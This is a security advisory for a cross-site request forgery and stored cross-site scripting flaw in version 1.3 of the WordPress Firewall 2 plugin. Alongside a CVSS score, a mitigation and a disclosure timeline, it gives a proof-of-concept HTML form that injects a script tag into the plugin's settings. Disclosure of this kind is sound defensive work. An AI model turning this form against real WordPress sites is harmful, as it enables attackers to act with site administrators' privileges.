WordPress Plugin Firewall 2 1.3 – Cross-Site Request Forgery / Cross-Site Scripting
<!-- Details ================ Software: WordPress Firewall 2 Version: 1.3 Homepage: https://wordpress.org/plugins/wordpress-firewall-2/ Advisory report: https://security.dxw.com/advisories/csrfstored-xss-in-wordpress-firewall-2-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can/ CVE: Awaiting assignment CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N) Description ================ CSRF/stored XSS in WordPress Firewall 2 allows unauthenticated attackers to do almost anything an admin can Vulnerability ================ HTML is not escaped and there is no CSRF prevention, meaning attackers can put arbitrary HTML content onto the settings page. Proof of concept ================ Visit the following page, click on the submit button, then visit the plugin’s options page: --> <form method=\"POST\" action=\"http://localhost/wp-admin/options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php\"> <input type=\"text\" name=\"email_address\" value=\""><script>alert(1)</script>\"> <input type=\"text\" name=\"set_email\" value=\"Set Email\"> <input type=\"submit\"> </form> <!-- In a real attack, forms can be submitted automatically and spear-phishing attacks can be convincing. Mitigations ================ Disable the plugin until a new version is released that fixes this bug. Disclosure policy ================ dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/ Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf. This vulnerability will be published if we do not receive a response to this report with 14 days. Timeline ================ 2016-12-23: Discovered 2017-03-16: Reported to vendor by email 2017-04-04: Vendor could not be contacted Discovered by dxw: ================ Tom Adams Please visit security.dxw.com for more information. --> |